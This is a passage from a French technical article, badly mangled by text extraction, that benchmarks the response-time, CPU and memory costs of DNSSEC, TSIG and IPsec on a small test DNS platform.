onstituait pas une préo

upation importante dans l'élaboration des proto
oles. Par la suite des

options et des extensions de sé
urité (DNSSEC rf
2535 [9℄, rf
4033 [3℄, rf
4034 [5℄, rf
4035 [4℄, TSIG

rf
2845 [33℄, SIG(0) rf
2931 [10℄) ont été normalisées. Toutefois, le déploiement de 
es options n'est

pas en
ore très répandu à l'é
helle de l'Internet, et le système DNS à l'heure a
tuelle ne peut être


onsidéré 
omme sé
urisé.

Les attaques de plus en plus nombreuses perpétrées à l'en
ontre du système de nommage montrent

que, du point de vue sé
urité, le système DNS 
onstitue en lui même une faiblesse de l'Internet. Le

déploiement de DNSSEC se fait de plus en plus pressant. Toutefois, 
e proto
ole normalisé en mars

2005 implique des 
hangements radi
aux sur la stru
ture et l'ar
hite
ture des serveurs DNS a
tuels.

En e�et, le proto
ole DNSSEC utilise des mé
anismes plus lourds qui modi�ent 
onsidérablement

le proto
ole DNS.

Le système DNS est utilisé à l'heure a
tuelle prin
ipalement pour assurer le servi
e de nommage

sur l'Internet. Toutefois, l'émergen
e de nouveaux proto
oles 
omme ENUM, par exemple, o�re de

nouvelles perspe
tives de servi
es et don
 une utilisation nouvelle des bases de données DNS, ave


de nouvelles 
ontraintes de sé
urité, 
omme la 
on�dentialité, l'authenti�
ation des 
lients...

L'objet de 
et arti
le est don
 de mesurer les 
oûts liés à l'utilisation des extensions de sé
urité du

DNS. Cet arti
le présente les résultats d'une étude sur les performan
es des diverses extensions de
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sé
urité du proto
ole DNS (DNSSEC et TSIG), ainsi que d'autres proto
oles de sé
urité 
omme

IPse
 (rf
2401 [23℄, [30℄). SIG(0) ne sera pas testé i
i 
ar 
e proto
ole utilise de la 
ryptographie

asymétrique, et est essentiellement utiliser a�n d'authenti�er les requêtes émises par une personne

spé
i�que, 
omme un administrateur. Les tests ont été faits sur une plateforme, de manière à per-

mettre une 
omparaison entre 
es diverses extensions. Le 
oût de 
es diverses extensions de sé
urité

ayant été mis en éviden
e, il est alors possible d'implémenter une base DNS sé
urisée en 
hoisissant

les mé
anismes de sé
urité de manière adéquate en fon
tion des performan
es que le système doit

atteindre, l'appli
ation spé
i�que à laquelle doit répondre l'ar
hite
ture DNS, son environnement

réseau... Inversement, on pourra également dé
ider, 
onnaissant le 
oût généré par les extensions

de sé
urité, de ne pas les implémenter dans un premier temps, et modi�er l'ar
hite
ture progressi-

vement de manière à pouvoir implémenter, par la suite, les extensions 
hoisies.

Fig.1. Plateforme de test DNS/DNSSEC ave
 des tunnels IPse


2 Des
ription de la Plateforme DNS

L'ensemble des tests DNSSEC ont été e�e
tués sur une ar
hite
ture (voir Illustration 1 et

Illustration 2) à deux zones :

- Une zone mère 
orrespondant au domaine rootdomain., et

- Une zone �lle pour subdomain.rootdomain.

La plateforme DNS servant 
ette ar
hite
ture 
omprend trois serveurs :

- Un pour le domaine rootdomain., et

- Deux pour le sous-domaine subdomain.rootdomain : un serveur maître et un es
lave qui se

syn
hronise ave
 le maître.

L'ensemble de la plateforme est relié au réseau IPv6 ([7℄) de Fran
e Télé
om R&D. Pour e�e
tuer

les tests, un quatrième serveur 
a
he-forwarder qui sert de relais pour les 
lients a été introduit.

Les serveurs sont des Pentium II et III à 500 Mhz ave
 128 MB de mémoire, utilisant le système

d'exploitation Linux Ubuntu (kernel 2.6).
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Fig.2. Ar
hite
ture de test DNS/DNSSEC

3 Obje
tifs et stratégie

Cette partie vise à donner une brève des
ription des di�érentes extensions et proto
oles qui

peuvent 
on
erner la sé
urité du système DNS. A la suite de 
e tour d'horizon, nous déterminerons

la stratégie de test à suivre.

3.1 Des
ription des mé
anismes de sé
urité DNS

DNSSEC est une extension sé
urisée de DNS standardisée par l'IETF (par la rf
4033 [3℄, la

rf
4034 [5℄ et la rf
4035 [4℄). Elle permet de véri�er l'intégrité des données des é
hanges du pro-

to
ole DNS. Elle permet également d'authenti�er la sour
e de la donnée. Pour 
ela, elle utilise un

système de 
lé qui signe les données et qui permet à partir d'un point sé
urisé de par
ourir une


haîne de 
on�an
e (les serveurs DNS) et de sé
uriser le lien entre les données envoyées entre les

di�érents serveurs de l'ar
hite
ture du DNS.

TSIG et SIG(0) (DNS Request and Transa
tion Signatures) sont des extensions DNS qui permettent

d'assurer des servi
es d'authenti�
ation.

TSIG (rf
2845 [33℄) signe les données de manière symétrique. Les 
lients et le serveur s'authenti-

�ent don
 grâ
e à une 
lé partagée. Ce système d'authenti�
ation est don
 envisageable pour des

ar
hite
tures où le nombre de 
lients est réduit. En e�et, soit 
es derniers doivent partager une 
lé

symétrique, soit le serveur doit posséder une 
lé symétrique par 
lient di�érent. Un mé
anisme qui

permet l'é
hange de 
lefs symétriques pour TSIG est TKEY (rf
2930 [11℄).

SIG(0) (rf
2931 [10℄) permet de 
hi�rer la transa
tion ave
 une 
lef privée (
ryptographie asymé-

trique). Sa 
ontrepartie publique devrait être sto
kée dans la zone. A la di�éren
e de DNSSEC,


'est plut�t l'é
hange qui est authenti�é/signé que la donnée DNS elle même.

IPse
 (rf
2401 [23℄) (Internet Proto
ol Se
urity) permet de gérer la 
on�dentialité et l'authenti�-


ation des datagrammes IP. L'authenti�
ation ne porte pas sur les données DNS spé
i�quement,

mais bien plus sur une « 
onnexion » entre deux adresses IP. La véri�
ation porte don
 sur la

provenan
e immédiate de la donnée. Il est possible d'authenti�er le fournisseur de la donnée, par

exemple un serveur 
a
he, mais pas toujours la sour
e initiale sauf s'il y a un lien IPse
 vers le
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serveur de nom primaire. IPse
 permet le 
hi�rement symétrique entre le 
lient et le serveur, 
e qui,

par rapport à SIG(0) permet une authenti�
ation plus fa
ilement gérable. De plus, IPse
 est muni

d'un proto
ole de négo
iation de 
lefs et d'Asso
iations de Sé
urité (IKE, Internet Key Ex
hange).

3.2 Analyse de 
es mé
anismes

A�n de distinguer 
es mé
anismes de sé
urité, il est né
essaire de 
onsidérer les aspe
ts suivants :

Quel est le mode de 
hi�rement utilisé ? Les opérations de 
hi�rement peuvent mettre en

jeu de la 
rypto symétrique ou asymétrique. La 
rypto symétrique né
essite que les deux entités

é
hangeant l'information possèdent 
ette 
lé. Le gros avantage de 
e mode de 
hi�rement est qu'il

est très peu 
oûteux, pour un niveau de sé
urité donné, en termes de ressour
es né
essaires par

rapport à l'utilisation la 
ryptographie asymétrique. Le premier in
onvénient de l'utilisation de la


ryptographie symétrique est qu'il faut trouver un moyen sé
urisé pour 
ommuniquer la 
lé parta-

gée par les deux entités. Le se
ond in
onvénient est que l'utilisation d'une même 
lé par les entités

partageant des informations ne permet pas d'authenti�er l'entité émettant l'information. En e�et

toutes les entités utilisent le même mé
anisme de 
hi�rement et la même 
lé. Il est don
 impossible

de 
onnaître la provenan
e de l'information.

Quelle sé
urité est implémentée? La sé
urité reste un terme générique, et peut être implé-

mentée selon di�érents mé
anismes. Les mé
anismes en question sont :

La 
on�dentialité : 
ette 
ara
téristique permet de rendre toute donnée 
hi�rée inexploitable

par une quel
onque entité n'ayant pas la 
lé né
essaire au dé
hi�rement. Les opérations de


hi�rement peuvent impliquer aussi bien de la 
ryptographie symétrique que de la 
ryptographie

asymétrique.

L'intégrité : 
ette 
ara
téristique permet de s'assurer que la donnée n'a pas été 
hangée entre

le moment où elle a été émise par l'entité sour
e, et reçue par l'entité destinataire. On utilise

souvent, pour 
ela un mé
anisme de ha
hage, qui permet à partir d'une donnée quelque soit

sa taille initiale, de fournir un 
ertain nombre d'o
tets que l'on appelle hash. Une propriété

essentielle du hash est que deux donnée initiale doivent avoir, en termes de probabilité, des

hashs di�érents !

L'authenti�
ation : L'authenti�
ation permet au destinataire de s'assurer de la provenan
e de

l'information. L'authenti�
ation né
essite dans la plus part des 
as l'utilisation de la 
ryptogra-

phie asymétrique. En e�et, une donnée 
hi�rée a par la 
lé privée d'une entité, ne sera dé
hi�rée

que par les entités possédant la 
lé publique asso
iée. L'authenti�
ation d'une donné 
e fait gé-

néralement par l'intermédiaire de signatures, qui 
orrespondent au 
hi�rement par une 
lé privé

d'un résumé (ou hash) de la donnée.

Quelle est la donnée 
hi�rée ? Ave
 une même méthode de 
hi�rement, il est possible de 
hi�rer

des données di�érentes. Chi�rer les paquets IP, dans le 
adre d'IPse
 permet d'intégrer la sé
urité

au niveau transport, i.e. sur la 
ommuni
ation entre deux entités, alors que 
hi�rer les données

DNS, i.e. au niveau appli
ation permet de s'abstraire de l'implémentation réseau. La données est
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signée par une autorité, et quelque soit la manière dont une entité obtient 
ette donnée signée,

i.e. dire
tement de l'autorité, ou non, 
ette entité est 
apable de véri�er la provenan
e de 
ette

donnée. Ainsi la donnée 
hi�rée au niveau appli
ation permet l'utilisation de n÷uds intermédiaires

(des serveurs que l'on appelle i
i serveurs 
a
hes), 
ar l'authenti�
ation ne se fait pas au niveau de

serveur.

Outre la position de la donnée dans le modèle ISO/OSI [32℄ la donnée peut également di�é-

rer selon sa nature. En e�et, traditionnellement, une 
ommuni
ation entre deux entités est dites


hi�rée (resp. signée) lorsque la sortie de l'entité sour
e est 
hi�rée (resp. signée) et que le �ux

est dé
hi�ré (resp. la signature véri�ée) par l'entité destinataire. Dans 
e 
as, le �ux est 
hi�ré,

et 
haque 
ommuni
ation né
essite une opération de 
hi�rement. On peut également 
onsidérer,

qu'on donnée soit 
hi�rée (resp. signée) une fois pour toutes, et don
 une opération de 
hi�rement

(resp. de signature) ne soit pas né
essaire à 
haque nouvelle transa
tion. Cette vision permet d'ef-

fe
tuer un pré-
al
ul, et don
 d'éviter l'opération de 
hi�rement (resp de signature) lors des 
harges.

Mé
anisme

Crypto Donnée 
hif-

frée

Sé
urité

Cou
he OSI

Sym / Asym dynamique /

statique

Conf Int. Ayth.

DNSSEC Asym Statique Non Oui Oui Appli

TSIG Sym Dynamique Non Oui Non Appli

IPse
 Sym Dynamique Oui Oui Oui Transport

Tab. 1. Tableau 
omparé des mé
anismes

Tableau 
omparé des mé
anismes Ainsi, il apparaît 
lairement que par rapport à TSIG, DNS-

SEC utilise de la 
ryptographie symétrique, plus 
oûteuse que la 
ryptographie symétrique. En

revan
he DNSSEC pré-
al
ule des signatures données DNS, alors que TSIG 
al
ule les signatures

des datagrammes transmis. Le fait d'utiliser la 
ryptographie asymétrique permet au proto
ole

DNSSEC au destinataire d'authenti�er la sour
e émettri
e de l'information. Cette sour
e est iden-

ti�ée par son 
ouple de 
lé privée / 
lé publique, et non pas par l'adresse IP d'un serveur. En e�et,

la donnée 
on
ernée par les opérations de sé
urité est la donnée DNS. Tout 
omme DNSSEC, TSIG

n'implémentent pas la fon
tion de 
on�dentialité. En e�et, les données DNS sont 
onsidérées 
omme

publiques et n'ont pas 
onséquent pas à être 
hi�rées. TSIG doit être asso
ié à un mé
anisme de

distribution de 
lés. Un déploiement du mé
anisme TSIG sur un grand nombre de 
lient ne semble

par 
onséquent pas envisageable.

IPse
, par rapport à DNSSEC permet d'implémenter la 
on�dentialité. Par 
ontre IPse
 asso
ie

les opérations de sé
urité à des adresses IP. Ce mé
anisme ne permet l'utilisation de tiers, 
omme

les serveurs 
a
hes, distribuant l'information. En e�et, les données DNSSEC, i.e. la donnée et sa si-

gnature asso
iée permettent au 
lient d'en véri�er la provenan
e de l'information indépendamment
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de l'entité dont elle est envoyée.

IPse
, 
omme TSIG utilise le 
hi�rement symétrique rapide, et moins 
oûteux que le 
hi�rement

asymétrique utilisé dans DNSSEC. TSIG n'implémente que l'intégrité et ne permet ni l'authenti�
a-

tion, ni la 
on�dentialité. Par 
ontre IPse
 béné�
ie de mé
anismes de négo
iation de 
lés que sont

IKEv1 et IKEv2. Ces 
oûts de négo
iation lors de l'établissement de liens IPse
, ne sont d'ailleurs

pas pris en 
ompte dans les tests.

En�n notons également que DNSSEC est un proto
ole qui vise à sé
uriser l'ensemble du sys-

tème DNS, alors que TSIG et IPse
 sé
urise davantage des transa
tions. Ainsi DNSSEC est muni de

mé
anismes permettant, grâ
e aux 
hamps spé
i�ques NSEC, et à un 
lassement lexi
ographique

des données DNS (i.e. des noms de domaine), de fournir au 
lient une preuve de non existen
e

d'une donnée faisant l'objet d'une requête. De plus, DNSSEC est muni de mé
anismes de sé
urité

permettant d'établir une 
haîne de 
on�an
e entre les di�érents serveurs 
omposants l'ar
hite
ture

de nommage, un peu 
omme une PKI.

3.3 Les obje
tifs de l'étude

L'obje
tif des tests est de 
omparer les performan
es de la plateforme dans plusieurs 
on�gura-

tions possibles. Certaines des extensions présentées 
i dessous peuvent paraître redondantes dans


ertains 
as au niveau de leur fon
tionnalité, notamment lorsque l'on 
onfronte des mé
anismes

de sé
urité s'atta
hant à véri�er l'intégrité des enregistrements, ou à authenti�er soit au niveau

DNS, soit à des niveaux plus bas. L'obje
tif des tests est don
 de permettre à un administrateur de


onnaître le 
oût lié à 
es di�érentes 
on�gurations sé
urisées, et d'e�e
tuer un 
hoix en fon
tion

de ses besoins et de 
e 
oût.

Les prin
ipales 
on�gurations étudiées ont été :

DNS : Cette 
on�guration est la référen
e à laquelle nous allons nous référer de manière à évaluer

le 
oût de la sé
urité.

DNSSEC : Cette extension de sé
urité, permet de garantir l'intégrité des données hébergées au

sein du serveur DNS, et de garantir que la sour
e des enregistrements est une entité de 
on�an
e.

Cette option est plus à 
onsidérer dans le 
adre d'une relation 
lient - serveur, 
ar le serveur

fournit au 
lient les informations né
essaires pour valider l'information. Coté serveur, le 
lient

reste anonyme, et n'est pas authenti�é.

DNS + IPse
 : Cette 
on�guration est davantage utilisé dans le 
adre des relations serveur -

serveur ou 
lient - serveur dans le 
as où le nombre de 
lients est restreint. En e�et, l'établisse-

ment d'un tunnel IPse
 né
essite une 
on�guration préalable et n'est pas envisageable dans le


as d'un nombre élevé de 
lients. Il s'agit don
 i
i d'une 
on�guration mettant en oeuvre des

serveurs DNS ave
 la sé
urisation des liens serveur maître - serveur es
lave ou 
lients - serveurs

DNS. Dans 
ette 
on�guration, on pro�tera des propriétés d'IPse
 qui permettent non seule-

ment d'authenti�er les paquets par signature éle
tronique, mais aussi de 
hi�rer les données

assurant ainsi leur 
on�dentialité.

DNSSEC + IPse
 : Cette 
on�guration utilise IPse
 a�n de sé
uriser les transa
tions entre les

serveurs, et DNSSEC a�n de sé
uriser les transa
tions entre les 
lients et le serveur DNS.
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TSIG : Cette 
on�guration n'est utilisée que pour des liens serveurs - serveurs ou 
lient - serveur

dans le 
adre d'un nombre restreint de 
lients. En e�et, TSIG utilise un 
hi�rement symétrique

et né
essite alors une 
on�guration entre les deux a
teurs, à la di�éren
e de IPse
 qui peut

utiliser IKE pour la négo
iation de 
lefs. Toujours a la di�éren
e d'IPse
, TSIG n'implémente

pas le 
hi�rement de données et ne permet don
 pas d'assurer la 
on�dentialité des données

lors de la transa
tion.

3.4 Stratégie de tests

Pour 
ha
une des 
on�gurations mentionnées, nous allons essayer d'évaluer l'impa
t de la sé
u-

rité, en terme de 
oût sur les points suivants :

1. Les temps de réponse à des requêtes.

2. L'o

upation CPU par le pro
essus serveur DNS.

3. Les temps de mise à jour.

Les tests sont e�e
tués sur deux environnements distin
ts :

- Un serveur parti
ulier

- La plateforme

On peut mener les tests sur un serveur parti
ulier et mesurer ainsi l'impa
t dû à la sé
urité sur

un serveur. On parlera alors de tests serveur. Toutefois, l'ar
hite
ture DNS est 
onstituée de plu-

sieurs serveurs, et l'impa
t de la sé
urité doit être mesuré par rapport à l'ensemble de 
es serveurs.

On parlera alors de tests de plateforme.

Par ailleurs les tests peuvent avoir trois natures distin
tes :

Tests unitaires : il s'agit de mesurer et 
ara
tériser le 
omportement de la plateforme ou d'un

serveur dans le 
as d'une requête unitaire. Pour 
ela les proto
oles de mesures et de probabilité

nous amènent à e�e
tuer une su

ession de requêtes.

Tests en 
harge : Ces tests visent à observer le 
omportement d'un serveur ou de la plateforme

dans le 
as d'une utilisation réelle, i.e. par plusieurs 
lients indépendants.

Tests de mise à jour de serveurs utilisant nsupdate

Les tests se feront en trois parties. Nous 
ommen
erons par les tests unitaires, puis nous 
onti-

nuerons par les tests en 
harge. En�n, nous terminerons par les tests de mise à jour.

Pour les tests portant sur l'évaluation des temps de réponse et l'o

upation mémoire et CPU des

serveurs, deux 
lients DNS ont été utilisé : le 
lient 
lassique dig qui fait partie de la distribution

BIND 9.3.1 ([2℄) et un 
lient Java développé notamment pour les tests. A la di�éren
e du 
lient

dig, qui se bloque dans l'attente d'une réponse après avoir envoyé la requête, le 
lient Java permet

d'envoyer des requêtes de manière asyn
hrone (le programme a deux threads d'exé
ution : il envoie

les requête sur le premier et reçoit et analyse les réponses sur le deuxième). De 
e fait, il est adapté

aux tests à 
harge variable. Pour les tests portant sur les mises à jour, le programme nsupdate de

BIND 9.3.1 a été utilisé pour tester le temps de mise à jour. Pour générer de manière automatique

les objets de requêtes, on a 
rée des s
ripts bash.
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4 Tests unitaires

4.1 Des
ription des tests unitaires

Le premier test 
onsiste à faire répondre la plateforme à des requêtes DNS lan
ées par un 
lient

dig. Ce 
lient générera un nombre de requêtes. La requête N + 1 est envoyée après la ré
eption

de la réponse à la requête N . On se 
ontente de mesurer le temps de réponse à toutes les ques-

tions et d'évaluer les ressour
es utilisées. Les requêtes sont les mêmes dans toutes les 
on�gurations.

Un serveur DNS est un pro
essus (appelé named) sur une ma
hine. Ce pro
essus emploie des

ressour
es de la ma
hine : une partie du temps CPU et une partie de la mémoire vive.

4.2 Coût sé
urité sur le temps de réponse

Le Tableau 2 présente dans sa deuxième ligne les temps de réponse en millise
ondes. Des di�é-

ren
es entre les performan
es obtenues dans des diverses 
on�gurations sont tout de suite visibles.

Pour l'instant, seul le temps de résolution de la tâ
he est pris en 
ompte. Des dégradations impor-

tantes apparaissent déjà dans les 
on�gurations mettant en ÷uvre des mé
anismes de sé
urité. Le


oût du à la sé
urité est mis en éviden
e dans la troisième ligne du tableau.

Con�guration DNS (DNS + IPsec) DNSSEC (DNSSEC+IPse
)

Temps de réponse (ms) 192 207 258 299

Coût de la sé
urité sur le

temps de réponse par rap-

port au DNS 
lassique (%)

0% +8% +34% +55%

Tab. 2. Temps de réponse selon les extensions de sé
urité

Le temps de réponse a été jugé 
omme paramètre pertinent pour faire des 
omparaisons entre

les di�érentes 
on�gurations analysées. Les résultats obtenus montre 
lairement la 
lassi�
ation sui-

vante en terme réper
ussion sur le temps de réponse : DNS < (DNS+IPse
) < DNSSEC < (DNSSEC
+ IPse
). Le 
oût inférieur généré par l'utilisation d'IPse
 par rapport à DNSSEC est dû au fait

que les opérations de 
hi�rement symétrique sont nettement moins 
oûteuses que les opérations de


hi�rement asymétriques. Bien que les signatures des 
hamps soient pré-
al
ulée par le serveur, et

don
 une requêtes, ne demande pas d'opération de 
hi�rement de la part du serveur, le 
lient doit

véri�er la signature. Cette opération de véri�
ation 
omprend, un 
al
ul de hash, et une 
omparai-

son de 
e dernier ave
 la valeur fournie par le serveur DNSSEC. Cette valeur est 
hi�rée à l'aide

de la 
lé privée du serveur DNSSEC, et pla
ée dans le 
hamp de type SIG. Le 
lient doit don


d'une part 
al
uler un hash, puis dé
hi�rer ave
 la 
lé privée 
elui 
ontenu dans le 
hamp SIG, et


omparer 
es deux valeurs. Ces deux opérations né
essitent, pour une même ma
hine 
lient, plus

de temps de 
al
ul que les opérations de 
hi�rement symétrique d'IPse
.
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Le 
oût du à l'utilisation simultanée de DNSSEC et d'IPse
 est supérieur à la somme des 
oûts

générés par DNSSEC et IPse
 séparément. Ce
i peut être en partie expliqué par le fait que DNSSEC

né
essite l'envoie de plus de données que DNS, et don
 une opération de 
hi�rement plus lourde

que dans le 
as de l'utilisation de DNS est mise en ÷uvre.

4.3 Coût sé
urité sur le temps CPU

Le Tableau 3 présente le 
oût (en temps de 
al
ul) engendré par les di�érentes 
on�gurations.

Ce 
oût est mesuré par la 
harge CPU. Il apparaît évident que le relais (le 
a
he-forwarder) est plus


hargé que les autres entités de l'ar
hite
ture lors de l'utilisation d'un 
lient unique : autour de 8%

de la 
harge CPU pour le relais 
ontre à peine 2,9% 
harge CPU pour le serveur de rootdomain,

les ma
hines ayant une 
on�guration similaire. Le 
a
he-forwarder est un serveur fon
tionnant en

mode ré
ursif  : toutes les requêtes passent par lui et il se 
harge de garder des 
ontextes pour

toutes les requêtes. Pour 
ha
une des requêtes reçues, il peut envoyer plusieurs requêtes envers les

serveurs de la plateforme dans le but d'obtenir la réponse �nale 
ar les serveurs de la plateforme

fon
tionnent en mode itératif  : ils donnent la réponse la plus appropriée qu'ils possèdent. Nous

représenterons entre parenthèses une quanti�
ation du 
oût généré par la sé
urité.

Les 
harges CPU des serveurs sont assez faibles. En e�et, le 
lient dig envoie les requêtes les

unes après les autres, dès qu'il a obtenu la réponse de la pré
édente requête. Ce 
lient est don


in
apable de 
harger de façon su�sante les serveurs et met ainsi en éviden
e la haute disponibilité

des serveurs DNS, par rapport aux 
oûts réseaux.

❳
❳

❳
❳

❳
❳

❳
❳

❳
Serveur testé

Con�g.

DNS (DNS + IPse
) DNSSEC (DNSSEC + IPse
 )

dnsse
1 0.82% 1.21% 1.25% 2.89%
(serveur rootdomain) [+0 %℄ [+47%℄ [+52%℄ [+252%℄

dnsse
2 0.20% 0.36% 0.30% 0.90%
(serveur maître subdomain) [+0%℄ [+80%℄ [+50%℄ [+350%℄

dnsse
3 0.20% 0.35% 0.30% 0.73%
(serveur es
lave subdomain) [+0%℄ [+75%℄ [+50%℄ [+265%℄

Ca
he - forwarder

7.20% 7.40% 8.80% 8.80%
[+0%℄ [+2%℄ [+22%℄ [+22%℄

Tab. 3. Charge CPU en fon
tion des extensions de sé
urité

Ces résultats montrent que le 
oût de la sé
urité se réper
ute di�éremment selon le type de

serveur.

Ainsi pour le serveur DNS ra
ine, interrogé lors de 
haque interrogation, le 
oût de la sé
urité peut

être 
onsidéré, par ordre de 
roissan
e : DNS << (DNS + IPse
) < DNSSEC <<< ( DNSSEC

+ IPse
). La di�éren
e de 
oût entre DNSSEC et la 
ombinaison (DNS + IPse
) est relativement

faible. Il serait alors raisonnable de penser que le 
oût de 
hi�rement symétrique dans (DNS et

IPse
) est 
ompensé par la les opérations propres à DNSSEC. Les opérations propres à DNSSEC ne
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omportent pas i
i de 
al
uls induits par le 
hi�rement. Les �
hiers de zone DNSSEC sont beau
oup

plus volumineux que les �
hiers de zone DNSSEC (environ 7 fois plus volumineux). En e�et, les

�
hiers de zone DNSSEC 
ontiennent, en plus des 
hamps du DNS traditionnel, des 
hamps de

type propre à DNSSEC (NSEC, SIG...). Lors que le serveur reçoit une requête, il doit pro
éder à

la re
her
he d'informations Le serveur doit alors pro
éder à la re
her
he d'informations spé
i�ques

au sein d'un �
hier plus volumineux d'une part. De plus, à une information DNS sont asso
iées

plusieurs informations DNSSEC, elle-même relativement volumineuses. On peut estimer qu'au vo-

lume d'une information DNS de type adresse (A), le volume DNSSEC de la même information est

environ 14 fois plus important. En e�et, à une donnée DNS, il faut dans le 
adre de DNSSEC lui

asso
ier une signature ainsi qu'un 
hamp de type NSEC également signé. L'ensemble des données

DNSSEC que le serveur DNSSEC doit traiter et envoyer est alors beau
oup plus volumineux que

dans le 
adre de DNS. Ainsi, le 
oût CPU d'IPse
 
orrespond au traitement de deux 
hamps DNS

auquel on asso
ie les 
hamps DNSSEC.

Con
ernant les serveurs de la zone subdomain maître et es
lave, le 
lassement est DNS < DNSSEC

< (DNS + IPse
) << (DNSSEC + IPse
).
La di�éren
e entre DNSSEC et ( DNS + IPse
) n'est pas, au regard des valeurs des %CPU �agrante.

En e�et, dans le 
adre d'une asso
iation maître - es
lave, il faut tenir 
ompte des messages é
han-

gés entre les maîtres et les es
laves. Ces messages ne sont nullement impa
tés par DNSSEC. Par


ontre un lien IPse
 a été établi entre les serveurs � maître � et � es
lave �, et 
es 
ommuni
ations

sont 
hi�rés. Ces messages, ne sont 
ertes pas volumineux, mais dans le 
as de tests unitaires, leur

impa
t, ave
 les valeurs du 
hamp paramétrant 
es é
hanges (
hamp SOA), n'est pas négligeables.

Ainsi IPse
 est plus 
onsommateur en ressour
es CPU 
ar nous sommes dans le 
as de tests unitaires

et que les dialogues entre les 
lients et les es
laves sont également 
hi�rés par IPse
 alors qu'ils ne

sont nullement impa
té par DNSSEC.

Analysons la di�éren
e entre le 
omportement des serveurs de la zone rootdoamain et 
eux de la

zone subdomain. Dans le 
adre de la 
on�guration de la maquette, les serveurs DNS de la zone

subdomain traitent deux fois moins de requêtes que 
elui de rootdomain. En e�et, le tra�
 est

réparti sur les serveurs � maîtres � et les serveurs � es
laves �. Toutefois, la nature des tra�
s

générés n'est pas identique. Les paquets réponses du serveur rootdomain 
omprennent l'asso
iation

de subdomain à un serveur DNS (un 
hamp de type NS), et l'asso
iation de 
e serveur DNS à une

adresse IP (
hamp de type A). Il faut dans le 
adre de DNSSEC tenir 
ompte des 
hamps DNSSEC

asso
ié, i.e. NSEC et SIG pour 
ha
un d'eux. Dans le 
as des serveurs � maître � et � es
lave �

traitant la zone subdomain, 
ha
un renvoi dans sa réponse l'asso
iation entre le nom de domaine

et l'adresse IP (type A). Dans le 
as de DNSSEC, il faut lui asso
ier les 
hamps de type NSEC

et SIG. Ainsi, les serveurs de la zone rootdomain ont des réponses deux fois plus importantes que

les serveurs de la zone subdomain. Les serveurs de la zone subdomain traitent également deux fois

moins de requêtes que 
eux de la zone rootdomain. Ce
i est 
on�rmer par un rapport d'environ

1
4

entre le serveur de la zone rootdomain et 
eux de la zone subdomain.

Con
ernant le serveur 
a
he-forwarder, il est di�
ile de mener une analyse 
omparative ave


les autres serveurs de la plateforme, 
ar la ma
hine est di�érente. Par 
ontre l'analyse entre les

di�érents proto
oles de sé
urité peut être menée. Le 
lassement en termes de 
onsomation CPU est

alors DNS < IPse
 << DNSSEC < ( DNSSEC + IPse
). Les 
oûts induits par IPse
 sur le 
a
he
forwarder sont négligeables en 
omparaison de 
eux induits par IPse
 sur les autres serveurs (en

pour
entages). La prin
ipale di�érentiation de 
e serveur est qu'il est soumis à une 
harge et des

opérations de véri�
ation de signature qui permettent de mettre en éviden
e les 
oûts relatifs dus
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à la sé
urité, en présen
e de tra�
 ou de 
harge réseau.

Ainsi, 
es tests mettent en éviden
e que les 
oûts générés par la sé
urité doivent également être

évalués en 
harge, que DNSSEC permet de re
entrer la sé
urité sur les relations 
lient serveur, alors

qu'IPse
 tient 
ompte de l'ensemble du tra�
 (interrogation 
lient, gestion des serveurs...). Toutefois

il est raisonnable de 
onsidérer DNS < (DNS + IPse
 ) < DNSSEC << ( DNSSEC + IPse
).

4.4 Coût sé
urité sur la ressour
e mémoire

Le Tableau 4 présente le pour
entage mémoire utilisé pendant les tests par les trois serveurs et

par le 
a
he-forwarder.

❳
❳

❳
❳

❳
❳

❳
❳

❳
Serveur testé

Con�g.

DNS (DNS + IPse
) DNSSEC (DNSSEC + IPse
 )

dnsse
1

1.60% 1.60% 1.60% 1.60%
(serveur rootdomain)

dnsse
2

1.70% 1.70% 1.70% 1.80%
(serveur maître)

dnsse
3

1.70% 1.70% 1.80% 1.80%
(serveur es
lave)


a
he - forwarder 0.40% 0.40% 0.80% 0.90%

Tab. 4. Utilisation de la mémoire en fon
tion des extensions de sé
urité

La 
harge des serveurs est proportionnelle au nombre d'enregistrements de la zone (un serveur

BIND 
harge au démarrage toute la zone en mémoire, sous réserve d'une 
apa
ité de mémoire su�-

sante sinon il 
ra
he). Des tests antérieurs ont montré que la taille de zone n'a au
un impa
t sur le

temps de résolution d'une requête. Dans l'exemple 
onsidéré, les zones ont des dimensions réduites

(peu d'enregistrements) 
e qui explique les faibles pour
entages de mémoire utilisée sur les serveurs

de nom.

L'o

upation de la mémoire d'un serveur 
a
he-forwarder devrait être assez importante dans la

situation où les temps de vie (TTL) des enregistrements DNS sont non nuls. En raison des tests

répétitifs, le TTL des enregistrements que nous utilisons est �xé à 0 (ils sont jetés de la mémoire du


a
he-forwarder juste après la �n de la résolution d'une requête). Ce
i explique le faible pour
entage

mémoire utilisée. Toutefois, la quantité de mémoire né
essaire dans le 
as d'une résolution DNSSEC

est deux fois plus élevée, en raison des enregistrements supplémentaires (SIG, NSEC) introduits par

DNSSEC. Cette di�éren
e n'est visible que sur le serveur 
a
he-forwarder 
ar il se 
omporte 
omme

un 
lient, e�e
tuant des opérations de véri�
ation, alors qu'un serveur de nom primaire utilise peu

de ressour
es mémoires supplémentaires dues à des opérations de 
al
ul.

4.5 Con
lusion

Ces premiers tests permettent de mettre en éviden
e le 
oût de la sé
urité sur des requêtes uni-

taires en fon
tion des 
on�gurations. En terme de ressour
es CPU et de temps de réponse, le fait
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qu'IPse
 utilise la 
ryptographie symétrique rend 
e proto
ole moins gourmand en ressour
es que

l'utilisation de 
hi�rement asymétrique de DNSSEC. Cette di�éren
e est relativement importante

en terme de temps de réponse unitaire mais la di�éren
e ne semble plus signi�
ative lorsque la


harge augmente un peu.

En terme de ressour
e mémoire, les tests unitaires font apparaître que DNSSEC, né
essite plus de

ressour
es, à la fois en raison des 
al
uls générés par 
ette solution, et par les données né
essaires

et supplémentaires.

Notons également que IPse
 est i
i testé uniquement dans le 
as où les tunnels ont déjà été 
on�-

gurés. La négo
iation n'est pas prise en 
ompte.

Dans 
e premier test, le 
lient dig fourni par la distribution BIND 9.3.1 a montré ses limites :

il s'avère intéressant de l'utiliser dans des tests unitaires, mais il ne permet pas de faire varier le

nombre de requêtes envoyées à la plateforme a�n d'étudier la 
apa
ité maximale de traitement des

serveurs.

Pour 
ette raison, de nouveaux tests ont été faits ave
 un 
lient DNS développé en Java, à la

pla
e de dig.

5 Tests en 
harge

A partir de 
e test, le 
lient utilisé n'est plus dig, mais le 
lient développé pour les besoins des

tests. Il nous permet de faire varier le nombre de requêtes envoyées par se
onde vers un serveur et

d'estimer le nombre de réponses 
orre
tes reçues. Il simule de 
ette manière l'existen
e de plusieurs


